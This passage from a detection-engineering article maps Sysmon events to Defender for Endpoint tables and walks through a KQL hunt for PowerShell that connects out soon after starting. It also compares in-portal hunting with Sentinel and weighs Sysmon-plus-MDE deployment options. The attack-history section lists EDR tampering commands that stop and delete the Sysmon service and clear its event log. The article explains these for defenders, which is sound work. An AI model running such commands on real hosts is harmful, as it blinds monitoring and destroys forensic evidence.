&lt;p&gt;Past the six core tables there are siblings the article does not walk in detail but that detection engineers query alongside: &lt;code&gt;DeviceLogonEvents&lt;/code&gt; (interactive, remote-interactive, network logons), &lt;code&gt;DeviceFileCertificateInfo&lt;/code&gt; (Authenticode signer information), &lt;code&gt;DeviceInfo&lt;/code&gt; and &lt;code&gt;DeviceNetworkInfo&lt;/code&gt; (asset and posture). The cross-domain tables that the Defender XDR portal exposes -- &lt;code&gt;AlertInfo&lt;/code&gt;, &lt;code&gt;AlertEvidence&lt;/code&gt;, &lt;code&gt;IdentityLogonEvents&lt;/code&gt;, &lt;code&gt;EmailEvents&lt;/code&gt;, &lt;code&gt;CloudAppEvents&lt;/code&gt; -- are also queryable from the same surface, and the cross-domain join is one of the load-bearing reasons SOC teams move queries from a standalone SIEM into Advanced Hunting [@sentinel-xdr-connector].&lt;/p&gt;
&lt;h3&gt;Sysmon EID to MDE table cross-walk&lt;/h3&gt;
&lt;p&gt;The cross-walk is the table detection engineers actually need at their desk. Every row is a Sysmon EID, the MDE table the analogous event lands in, the &lt;code&gt;ActionType&lt;/code&gt; discriminator inside that table, and a fidelity rating relative to Sysmon&apos;s manifest -- because the MDE schema does &lt;em&gt;not&lt;/em&gt; surface every Sysmon field, and the fidelity gaps are where Hartong&apos;s MDE-augment config earns its keep.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Sysmon EID&lt;/th&gt;
&lt;th&gt;MDE table&lt;/th&gt;
&lt;th&gt;ActionType&lt;/th&gt;
&lt;th&gt;Fidelity vs Sysmon&lt;/th&gt;
&lt;th&gt;Hartong-augment disposition&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;1 ProcessCreate&lt;/td&gt;
&lt;td&gt;DeviceProcessEvents&lt;/td&gt;
&lt;td&gt;ProcessCreated&lt;/td&gt;
&lt;td&gt;Full&lt;/td&gt;
&lt;td&gt;Drop (MDE covers)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3 NetworkConnect&lt;/td&gt;
&lt;td&gt;DeviceNetworkEvents&lt;/td&gt;
&lt;td&gt;ConnectionSuccess&lt;/td&gt;
&lt;td&gt;Full&lt;/td&gt;
&lt;td&gt;Drop&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7 ImageLoad&lt;/td&gt;
&lt;td&gt;DeviceImageLoadEvents&lt;/td&gt;
&lt;td&gt;ImageLoaded&lt;/td&gt;
&lt;td&gt;Full&lt;/td&gt;
&lt;td&gt;Drop&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8 CreateRemoteThread&lt;/td&gt;
&lt;td&gt;DeviceEvents&lt;/td&gt;
&lt;td&gt;RemoteThreadCreated&lt;/td&gt;
&lt;td&gt;Truncated (no SourceImage hash)&lt;/td&gt;
&lt;td&gt;Keep verbose&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9 RawAccessRead&lt;/td&gt;
&lt;td&gt;(none)&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Omitted&lt;/td&gt;
&lt;td&gt;Keep&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10 ProcessAccess&lt;/td&gt;
&lt;td&gt;DeviceEvents&lt;/td&gt;
&lt;td&gt;OpenProcessApiCall&lt;/td&gt;
&lt;td&gt;Truncated (no GrantedAccess mask)&lt;/td&gt;
&lt;td&gt;Keep verbose, narrow targets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11 FileCreate&lt;/td&gt;
&lt;td&gt;DeviceFileEvents&lt;/td&gt;
&lt;td&gt;FileCreated&lt;/td&gt;
&lt;td&gt;Full&lt;/td&gt;
&lt;td&gt;Drop&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12-14 RegistryEvent&lt;/td&gt;
&lt;td&gt;DeviceRegistryEvents&lt;/td&gt;
&lt;td&gt;RegistryValueSet etc.&lt;/td&gt;
&lt;td&gt;Full&lt;/td&gt;
&lt;td&gt;Drop&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17-18 PipeEvent&lt;/td&gt;
&lt;td&gt;(none)&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Omitted&lt;/td&gt;
&lt;td&gt;Keep&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;19-21 WmiEvent&lt;/td&gt;
&lt;td&gt;(none)&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Omitted&lt;/td&gt;
&lt;td&gt;Keep&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22 DNSEvent&lt;/td&gt;
&lt;td&gt;DeviceNetworkEvents&lt;/td&gt;
&lt;td&gt;DnsQuery&lt;/td&gt;
&lt;td&gt;Full&lt;/td&gt;
&lt;td&gt;Drop&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23 FileDelete (archive)&lt;/td&gt;
&lt;td&gt;DeviceFileEvents&lt;/td&gt;
&lt;td&gt;FileDeleted&lt;/td&gt;
&lt;td&gt;Partial (no archive)&lt;/td&gt;
&lt;td&gt;Keep archive variant on selected paths&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;26 FileDeleteDetected&lt;/td&gt;
&lt;td&gt;DeviceFileEvents&lt;/td&gt;
&lt;td&gt;FileDeleted&lt;/td&gt;
&lt;td&gt;Full&lt;/td&gt;
&lt;td&gt;Drop&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;27 FileBlockExecutable&lt;/td&gt;
&lt;td&gt;(none)&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Omitted (MDE has separate prevent surface)&lt;/td&gt;
&lt;td&gt;Keep if Sysmon is enforcing&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The fidelity column is the operational answer to &quot;do I need Sysmon if I have MDE?&quot; Where MDE is &lt;em&gt;Full&lt;/em&gt;, Sysmon duplicates. Where MDE is &lt;em&gt;Truncated&lt;/em&gt;, Sysmon adds the fields MDE drops. Where MDE is &lt;em&gt;Omitted&lt;/em&gt;, Sysmon is the only collection mechanism in the host&apos;s telemetry surface. This is the cross-walk that Hartong&apos;s &lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt; implements as XML rules.&lt;/p&gt;
&lt;h3&gt;The Kusto Hunt: PowerShell instances that called out within sixty seconds of spawn&lt;/h3&gt;
&lt;p&gt;The single most-frequently-cited hunting query in the Defender XDR field is some variation of the following. The query joins &lt;code&gt;DeviceProcessEvents&lt;/code&gt; to &lt;code&gt;DeviceNetworkEvents&lt;/code&gt; on &lt;code&gt;(DeviceId, InitiatingProcessId)&lt;/code&gt; and surfaces every PowerShell instance that opened an outbound network connection within sixty seconds of being spawned. This is the query that turns Maya&apos;s hunch (&quot;that base64-encoded command looks bad&quot;) into a SIEM-routable signal:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-kql&quot;&gt;// The Kusto Hunt: PowerShell instances that called out within
// 60s of process create, joined on (DeviceId, InitiatingProcessId).
DeviceProcessEvents
| where Timestamp &amp;gt; ago(24h)
| where FileName =~ &quot;powershell.exe&quot; or FileName =~ &quot;pwsh.exe&quot;
| project DeviceId, ProcessId, ProcessCreationTime = Timestamp,
          ParentImage = InitiatingProcessFileName,
          ParentCmd   = InitiatingProcessCommandLine,
          ProcessCmd  = ProcessCommandLine,
          User        = AccountUpn
| join kind=inner (
    DeviceNetworkEvents
    | where Timestamp &amp;gt; ago(24h)
    | where ActionType == &quot;ConnectionSuccess&quot;
    | project DeviceId, InitiatingProcessId, NetTime = Timestamp,
              RemoteIP, RemotePort, RemoteUrl
) on DeviceId, $left.ProcessId == $right.InitiatingProcessId
| where (NetTime - ProcessCreationTime) between (0s .. 60s)
| where RemoteIP !startswith &quot;10.&quot;
    and RemoteIP !startswith &quot;192.168.&quot;
    and not(RemoteIP matches regex &quot;^172\\.(1[6-9]|2[0-9]|3[0-1])\\.&quot;)
| project DeviceId, ProcessCreationTime, NetTime,
          ParentImage, ProcessCmd, RemoteIP, RemotePort, RemoteUrl, User
| order by NetTime desc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The query is twelve operative lines and exercises four of KQL&apos;s most useful primitives: &lt;code&gt;join&lt;/code&gt; (on a tuple key), &lt;code&gt;between&lt;/code&gt; (for time-window matching), &lt;code&gt;!startswith&lt;/code&gt; and the regex check (for RFC 1918 exclusion), and &lt;code&gt;project&lt;/code&gt; (for column shaping). The &lt;code&gt;between (0s .. 60s)&lt;/code&gt; is the crux. A legitimate PowerShell launched by a logon script may also produce a network connection within the same minute -- the filter is necessary but not sufficient. Adding &lt;code&gt;ParentImage in (&quot;winword.exe&quot;, &quot;excel.exe&quot;, &quot;outlook.exe&quot;)&lt;/code&gt; narrows the hunt to the Office-spawning-PowerShell pattern that fits the Emotet and Qbot families. Adding &lt;code&gt;RemoteUrl in (~CustomTI)&lt;/code&gt; narrows the hunt further to known-bad indicators from the tenant&apos;s threat-intelligence list.&lt;/p&gt;
&lt;p&gt;{`
// JavaScript that walks through the &lt;em&gt;logic&lt;/em&gt; of the KQL hunt.
// The actual query runs in Advanced Hunting; this runs in your browser
// so you can see the join semantics with a small synthetic dataset.&lt;/p&gt;
&lt;p&gt;const processEvents = [
  { DeviceId: &quot;D1&quot;, ProcessId: 7700, Timestamp: 100,
    FileName: &quot;powershell.exe&quot;,
    InitiatingProcessFileName: &quot;WINWORD.EXE&quot;,
    ProcessCommandLine: &quot;powershell.exe -enc JABzAD0A...&quot; },
  { DeviceId: &quot;D2&quot;, ProcessId: 4422, Timestamp: 200,
    FileName: &quot;powershell.exe&quot;,
    InitiatingProcessFileName: &quot;explorer.exe&quot;,
    ProcessCommandLine: &quot;powershell.exe -Help&quot; },
];&lt;/p&gt;
&lt;p&gt;const networkEvents = [
  { DeviceId: &quot;D1&quot;, InitiatingProcessId: 7700, Timestamp: 130,
    ActionType: &quot;ConnectionSuccess&quot;,
    RemoteIP: &quot;185.243.115.84&quot;, RemotePort: 443 },
  { DeviceId: &quot;D2&quot;, InitiatingProcessId: 4422, Timestamp: 215,
    ActionType: &quot;ConnectionSuccess&quot;,
    RemoteIP: &quot;10.0.0.5&quot;, RemotePort: 443 },
];&lt;/p&gt;
&lt;p&gt;function isPrivate(ip) {
  return ip.startsWith(&quot;10.&quot;)
      || ip.startsWith(&quot;192.168.&quot;)
      || /^172\.(1[6-9]|2[0-9]|3[0-1])\./.test(ip);
}&lt;/p&gt;
&lt;p&gt;const hits = [];
for (const p of processEvents) {
  if (!/^powershell\.exe$|^pwsh\.exe$/i.test(p.FileName)) continue;
  for (const n of networkEvents) {
    if (n.DeviceId !== p.DeviceId) continue;
    if (n.InitiatingProcessId !== p.ProcessId) continue;
    if (n.ActionType !== &quot;ConnectionSuccess&quot;) continue;
    const dt = n.Timestamp - p.Timestamp;
    if (dt &amp;lt; 0 || dt &amp;gt; 60) continue;
    if (isPrivate(n.RemoteIP)) continue;
    hits.push({ DeviceId: p.DeviceId,
                Parent:   p.InitiatingProcessFileName,
                Cmd:      p.ProcessCommandLine,
                RemoteIP: n.RemoteIP,
                Latency:  dt + &quot;s&quot; });
  }
}&lt;/p&gt;
&lt;p&gt;console.log(JSON.stringify(hits, null, 2));
// Expected output: one hit on D1 (WINWORD-spawned powershell to public IP);
// D2 is filtered out (RemoteIP is RFC 1918 private).
`}&lt;/p&gt;
&lt;p&gt;The semantic of the KQL is the semantic of the JavaScript: a relational join on a composite key, filtered by a time-window predicate and a network-class predicate. The KQL query is shorter and faster; the JavaScript is what the join is actually doing. Once a reader internalizes this pattern, the rest of the Advanced Hunting surface unfolds from it -- every other detection in the field is a variant of &quot;join &lt;code&gt;Device*&lt;/code&gt; table A to &lt;code&gt;Device*&lt;/code&gt; table B on &lt;code&gt;(DeviceId, InitiatingProcessId)&lt;/code&gt;, filter by time and content.&quot;Advanced Hunting per-query quotas are 100,000 rows of returned data and 10 minutes of execution time per call [@advanced-hunting-overview]. The practical workaround for queries that exceed either limit is to pre-filter with a tighter time window (&lt;code&gt;Timestamp &amp;gt; ago(1h)&lt;/code&gt; instead of &lt;code&gt;ago(24h)&lt;/code&gt;), or to push the heavy aggregation into a Sentinel scheduled analytics rule that runs every hour and materializes the result table for further hunting.&lt;/p&gt;
&lt;p&gt;The same query, the same columns, the same six tables surface in two different places: the Defender XDR portal itself (at &lt;code&gt;security.microsoft.com&lt;/code&gt; legacy or &lt;code&gt;defender.microsoft.com&lt;/code&gt; current), and inside Microsoft Sentinel via the Defender XDR connector. The two surfaces are not the same.&lt;/p&gt;
&lt;h2&gt;9. The Microsoft Sentinel Integration Model&lt;/h2&gt;
&lt;p&gt;The same KQL query runs in two different places, but the &lt;em&gt;economics&lt;/em&gt; of the two places are not the same, and that distinction is the one that catches detection engineers off guard. In-portal Advanced Hunting and Microsoft Sentinel both expose the same &lt;code&gt;Device*&lt;/code&gt; tables. They do not expose them with the same retention, the same join surface, or the same cost.&lt;/p&gt;
&lt;h3&gt;The connector contract&lt;/h3&gt;
&lt;p&gt;Microsoft Sentinel&apos;s &lt;strong&gt;Defender XDR connector&lt;/strong&gt; (the post-Ignite-2023 successor to the legacy Microsoft 365 Defender connector) streams Microsoft Defender XDR incidents, alerts, and Advanced Hunting events into Sentinel&apos;s Log Analytics workspace. Microsoft Learn&apos;s verbatim definition is: &quot;&lt;em&gt;The Defender XDR connector allows you to stream all Microsoft Defender XDR incidents, alerts, and advanced hunting events into Microsoft Sentinel and keeps incidents synchronized between both portals&lt;/em&gt;&quot; [@sentinel-xdr-connector]. The connector exposes per-table streaming, meaning the operator picks which &lt;code&gt;Device*&lt;/code&gt; tables to bring into Sentinel and pays per-GB ingestion only on those tables.&lt;/p&gt;
&lt;p&gt;The connector also handles the legacy-connector transition: when enabled, &quot;&lt;em&gt;any Microsoft Defender components&apos; connectors that were previously connected are automatically disconnected in the background&lt;/em&gt;&quot; [@sentinel-xdr-connector]. If a tenant was using the legacy Microsoft Defender ATP connector or per-product Defender connectors, those get retired when the unified Defender XDR connector takes over. This is the cleanup detail that catches teams off guard during the migration -- they expect both connectors to coexist for the transition window, and they do not.&lt;/p&gt;
&lt;h3&gt;Three asymmetries&lt;/h3&gt;
&lt;p&gt;The in-portal Advanced Hunting surface and the Sentinel surface differ on three practitioner-level axes:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;In-portal Advanced Hunting&lt;/th&gt;
&lt;th&gt;Sentinel + Defender XDR connector&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Retention&lt;/td&gt;
&lt;td&gt;30 days of raw data per query [@advanced-hunting-overview]&lt;/td&gt;
&lt;td&gt;Configurable per-workspace, up to 12 years archive [@sentinel-xdr-connector][@ms-log-analytics-archive]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Query surface&lt;/td&gt;
&lt;td&gt;Six core &lt;code&gt;Device*&lt;/code&gt; tables plus cross-domain &lt;code&gt;AlertInfo&lt;/code&gt; / &lt;code&gt;EmailEvents&lt;/code&gt; / &lt;code&gt;IdentityLogonEvents&lt;/code&gt; / &lt;code&gt;CloudAppEvents&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Six core &lt;code&gt;Device*&lt;/code&gt; tables (per-table selection) plus the entire Log Analytics workspace -- third-party logs, custom tables, ASIM-normalized data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cost&lt;/td&gt;
&lt;td&gt;Included with MDE Plan 2 license&lt;/td&gt;
&lt;td&gt;Per-GB Sentinel ingestion (current GA tier) plus per-GB archive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Detection authoring&lt;/td&gt;
&lt;td&gt;Custom detection rules; in-portal advanced-hunting-to-alert promotion&lt;/td&gt;
&lt;td&gt;Scheduled analytics rules; SOAR playbook triggers; automation rules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cross-tenant hunting&lt;/td&gt;
&lt;td&gt;Tenant-bound only&lt;/td&gt;
&lt;td&gt;Possible via Lighthouse / Sentinel Workspaces aggregation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Live response triggers&lt;/td&gt;
&lt;td&gt;In-portal action surface&lt;/td&gt;
&lt;td&gt;Via Logic Apps / Defender API connector&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The in-portal economics are predictable: the queries are included with the license, the retention is uniform at thirty days, the surface is the six tables plus the cross-domain entity catalogue. The Sentinel economics are flexible but billable: longer retention, more table coverage, more automation, all of which carry per-GB ingestion charges. The choice is operational: which queries does the team need to run on data older than thirty days?&lt;/p&gt;
&lt;h3&gt;When each surface is the right one&lt;/h3&gt;
&lt;p&gt;For the SOC-analyst-driven, real-time threat-hunting workflow that §1 modeled with Maya -- thirty days back, six tables, cross-domain join into &lt;code&gt;AlertInfo&lt;/code&gt; -- the in-portal Advanced Hunting surface is the obvious fit. For the longer-retention, multi-source, automated-analytic-rule workflow -- where detection engineers want a scheduled rule that joins &lt;code&gt;DeviceProcessEvents&lt;/code&gt; to a third-party identity log on a normalized schema -- the Sentinel surface is the obvious fit.&lt;/p&gt;
&lt;p&gt;The two surfaces are not exclusive. The most-cited operational pattern in 2026 is to keep the in-portal surface as the SOC-analyst hunting console (retention 30 days, no cost) and to run the Defender XDR connector into Sentinel for the subset of tables the team needs longer retention or analytics-rule scheduling on. Per-table selection keeps the per-GB ingestion bill predictable.The Sentinel connector preserves table names but namespaces them inside the Log Analytics workspace; &lt;code&gt;DeviceProcessEvents&lt;/code&gt; in Sentinel is the same shape as &lt;code&gt;DeviceProcessEvents&lt;/code&gt; in the Defender XDR portal, and most queries port between the two surfaces unchanged. Some columns are renamed at the connector boundary -- the most common gotcha is the time-zone and timestamp representation -- but the join semantics and the cross-walk to Sysmon EIDs do not change.&lt;/p&gt;
&lt;h3&gt;The portal-URL transition&lt;/h3&gt;
&lt;p&gt;A small operational detail worth naming: the Defender XDR portal lives at both &lt;code&gt;security.microsoft.com&lt;/code&gt; (legacy, still functional) and &lt;code&gt;defender.microsoft.com&lt;/code&gt; (current). The new URL was announced as part of the Microsoft 365 Defender to Microsoft Defender XDR rebrand at Ignite 2023 [@defender-xdr-ms-learn][@ms-ignite-2023-blog]. The rebrand changed neither the KQL substrate nor the &lt;code&gt;Device*&lt;/code&gt; schema; queries written against the legacy URL behave identically against the new URL. This is the disambiguation §1 alluded to in its layer-7 description: the same KQL query, the same tables, against either URL.&lt;/p&gt;
&lt;p&gt;Two query surfaces, six tables, twenty-nine Sysmon EIDs, and one operational question every SOC manager has asked at least once: &lt;em&gt;do we deploy Sysmon alongside Defender for Endpoint, or trust Defender alone?&lt;/em&gt; That is §10.&lt;/p&gt;
&lt;h2&gt;10. Sysmon Plus MDE: Three Coexistence Patterns&lt;/h2&gt;
&lt;p&gt;This is the operational question of the article. The community has converged on three answers, and one of them is wrong for almost every MDE-licensed environment. The three options, in order of increasing complexity and -- in most enterprise contexts -- decreasing prevalence:&lt;/p&gt;
&lt;h3&gt;Option A: Sysmon only, no MDE&lt;/h3&gt;
&lt;p&gt;Used in air-gapped environments, unlicensed environments, and regulatory contexts that prohibit cloud-side telemetry. Sysmon on its own produces a complete event stream into the local Windows event log, which a downstream collector (Windows Event Forwarding to a central collector, Splunk&apos;s Universal Forwarder, Wazuh&apos;s Windows agent, the Elastic Endpoint integration) picks up and ships to a customer-controlled SIEM. The trade-off: no cross-tenant correlation, no cloud-side threat-intelligence join, no &lt;code&gt;EtwTi&lt;/code&gt; (kernel security ETW provider) consumption, no Microsoft-authored detection rules. The customer owns every rule themselves.&lt;/p&gt;
&lt;p&gt;This is the right answer in a small set of contexts and the wrong answer in the licensed-enterprise context where MDE is already deployed.&lt;/p&gt;
&lt;h3&gt;Option B: MDE only, no Sysmon&lt;/h3&gt;
&lt;p&gt;The Microsoft-recommended baseline for licensed environments. MDE&apos;s &lt;code&gt;Device*&lt;/code&gt; schema covers the high-value Sysmon EID surface -- 1, 3, 7, 10, 11, 12-14 -- at full or near-full fidelity, and MDE adds the layers Sysmon does not have: cloud-side correlation, cross-domain joins (email, identity, cloud apps), Microsoft-authored built-in detection rules with continuous tuning, the &lt;code&gt;AlertInfo&lt;/code&gt;/&lt;code&gt;AlertEvidence&lt;/code&gt; evidence graph, and the SOC-actionable surface (device isolation, live response, automated investigation) [@mde-ms-learn][@ms-mitre-2024-blog].&lt;/p&gt;
&lt;p&gt;For most MDE-Plan-2-licensed organizations without a mature detection-engineering team, Option B is the right baseline. The trade-off is that the truncations and omissions in the &lt;code&gt;Device*&lt;/code&gt; schema -- the &lt;code&gt;ProcessAccess&lt;/code&gt; GrantedAccess mask Sysmon EID 10 surfaces verbatim that MDE drops, the WMI consumer expressions Sysmon EIDs 19-21 capture that MDE does not surface, the RawAccessRead and PipeEvent classes Sysmon captures that MDE omits entirely -- are not available to the team&apos;s custom hunting queries. For an organization without the engineering capacity to build hunting rules on those verbose surfaces, this is rarely a binding constraint.&lt;/p&gt;
&lt;h3&gt;Option C: MDE plus tuned Sysmon (Hartong&apos;s MDE-augment)&lt;/h3&gt;
&lt;p&gt;The detection-engineering-community pattern. Run MDE as the primary EDR. Run Sysmon alongside it with &lt;code&gt;olafhartong/sysmon-modular&lt;/code&gt;&apos;s &lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt; configuration, whose explicit README design intent is &quot;&lt;em&gt;intended to augment the information and have as little overlap as possible&lt;/em&gt;&quot; with MDE [@github-hartong-modular]. The augment config drops the EIDs MDE covers cleanly (1, 3, 7, 11, 12-14, 22) and keeps the EIDs MDE truncates or omits (8 with full SourceImage, 9 RawAccessRead, 10 with full GrantedAccess mask, 15 FileCreateStreamHash, 17-18 PipeEvent, 19-21 WmiEvent, 23 with archive variant on narrowly-scoped paths). The result is a Sysmon event-log stream that is purpose-built to complement MDE&apos;s Kusto stream, not duplicate it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; If you are an MDE-licensed shop with a detection-engineering team and you are &lt;em&gt;not&lt;/em&gt; running Hartong&apos;s &lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt;, you are paying for two EDRs and getting the coverage of one. The augment config was purpose-built to make Sysmon&apos;s verbose-field surface complementary to MDE&apos;s cloud-correlation surface, not a duplicate. Standalone Sysmon next to MDE without the augment-specific exclusions is the worst of both worlds: double telemetry volume, double licensing exposure, and no incremental detection coverage.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Cost and operational complexity&lt;/h3&gt;
&lt;p&gt;The three options have different operational profiles. The summary table:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pattern&lt;/th&gt;
&lt;th&gt;License posture&lt;/th&gt;
&lt;th&gt;Telemetry volume&lt;/th&gt;
&lt;th&gt;Operational complexity&lt;/th&gt;
&lt;th&gt;Best used for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;A. Sysmon only&lt;/td&gt;
&lt;td&gt;None (free)&lt;/td&gt;
&lt;td&gt;Medium (depends on config)&lt;/td&gt;
&lt;td&gt;Low (one product, one config)&lt;/td&gt;
&lt;td&gt;Air-gapped, regulatory-no-cloud, unlicensed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;B. MDE only&lt;/td&gt;
&lt;td&gt;MDE Plan 1 or Plan 2&lt;/td&gt;
&lt;td&gt;Cloud-controlled (no per-host volume bill)&lt;/td&gt;
&lt;td&gt;Low (one product, Microsoft-managed)&lt;/td&gt;
&lt;td&gt;Most MDE-licensed orgs without detection-engineering team&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;C. MDE + Hartong augment&lt;/td&gt;
&lt;td&gt;MDE Plan 2 + WEF or SIEM&lt;/td&gt;
&lt;td&gt;High on Sysmon side (verbose EIDs); low on MDE side&lt;/td&gt;
&lt;td&gt;High (two products, modular config, WEF or SIEM forwarder)&lt;/td&gt;
&lt;td&gt;Detection-engineering-mature SOCs&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;A small operational caution: standalone Sysmon next to MDE without the augment-specific exclusions is the worst of three worlds. The drivers coexist fine at different Filter Manager altitudes, but the event log and downstream collector now carry every Sysmon EID the default config emits plus everything MDE collects on the cloud side. The double-pay problem the KeyIdea calls out is not theoretical; it shows up the first month a SOC team forgets to swap the default &lt;code&gt;sysmonconfig.xml&lt;/code&gt; for &lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The Hartong-augment-with-MDE pattern carries a second cost: the ETW manifest-provider session cap. Windows allows up to eight trace sessions to enable and receive events from the same manifest-based provider [@ms-etw-limits]; the &lt;code&gt;EtwTi&lt;/code&gt; security provider, Microsoft Defender Antivirus auto-start sessions, and any WPR sessions a developer might spin up all compete for that shared pool. Adding Sysmon&apos;s session takes one. On a host with a third-party EDR that already consumes several sessions against the same provider, this can cause silent telemetry loss. Audit &lt;code&gt;logman query -ets&lt;/code&gt; regularly.&lt;/p&gt;
&lt;h3&gt;The volume math&lt;/h3&gt;
&lt;p&gt;For sizing, assume a typical Windows endpoint generates roughly 20,000 process-create events per day under steady state (developer workstations are in this range; server volumes are higher; air-gapped jump boxes are lower) [@github-tsale-edr-telem]. The Hartong-augment config drops the top three high-volume EIDs (1 ProcessCreate, 7 ImageLoad, 11 FileCreate) that MDE already collects, retaining only the verbose surfaces. That cuts Sysmon volume by roughly 70 to 85 percent relative to a default-config Sysmon deployment, leaving only the verbose-EID stream (8, 10, 17-18, 19-21) MDE does not surface.&lt;/p&gt;
&lt;p&gt;This is the operational answer to the question. For organisations with detection-engineering teams, Option C is the default. For organisations without, Option B is the default. Option A is correct in a narrow set of contexts and should be picked on purpose. The next two sections turn from the layered &lt;em&gt;architecture&lt;/em&gt; to the layered &lt;em&gt;attack&lt;/em&gt; surface, because every defense has an attacker.&lt;/p&gt;
&lt;h2&gt;11. The Attack Tradition: Telemetry Suppression on Both Halves of the Pipeline&lt;/h2&gt;
&lt;p&gt;If you run an EDR on a host, you have made a bet that the EDR can survive contact with an attacker who knows it is there. The history of that bet -- on both halves of the pipeline -- is a chronological story with named techniques and named CVEs. Twelve years of attack tradition reduce to a small number of attack classes plus the structural defenses that closed each one.&lt;/p&gt;
&lt;h3&gt;Sysmon-side attacks, in order&lt;/h3&gt;
&lt;p&gt;The earliest tampering technique for Sysmon was the most obvious: stop the driver. Until Sysmon v15 in June 2023, the Sysmon service was a normal Windows service, and a SYSTEM-privilege attacker had several easy options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sc stop sysmon&lt;/code&gt; and &lt;code&gt;sc delete sysmon&lt;/code&gt; to unload &lt;code&gt;SysmonDrv.sys&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Rewrite the minifilter altitude so Sysmon loads &lt;em&gt;after&lt;/em&gt; a tamper hook.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wevtutil cl Microsoft-Windows-Sysmon/Operational&lt;/code&gt; to erase history.&lt;/li&gt;
&lt;li&gt;Rewrite &lt;code&gt;SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters&lt;/code&gt; to re-program Sysmon&apos;s filter without restarting it.&lt;/li&gt;
&lt;li&gt;Register a Windows event-channel ACL change to silence &lt;code&gt;Microsoft-Windows-Sysmon&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A small family of community-published tools automated this class. The structural defense, before v15, was discipline: keep SYSTEM out of attacker hands.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;June 2023 v15 protected-process gate is the structural response&lt;/strong&gt; to this entire class. Microsoft Learn states the change verbatim: &quot;&lt;em&gt;The service runs as a protected process, thus disallowing a wide range of user mode interactions&lt;/em&gt;&quot; [@sysmon-ms-learn]. A SYSTEM-privilege attacker can no longer &lt;code&gt;OpenProcess(PROCESS_TERMINATE)&lt;/code&gt; against &lt;code&gt;Sysmon.exe&lt;/code&gt;, inject code into the service&apos;s address space, or attach a user-mode debugger. The class is not closed -- a kernel primitive still works, and a BYOVD chain that can write &lt;code&gt;_EPROCESS.Protection&lt;/code&gt; defeats the gate -- but the bar moves from &quot;a &lt;code&gt;wevtutil&lt;/code&gt; command in a PowerShell window&quot; to &quot;a kernel exploit primitive.&quot;&lt;/p&gt;
&lt;h3&gt;MDE-side attacks, in order&lt;/h3&gt;
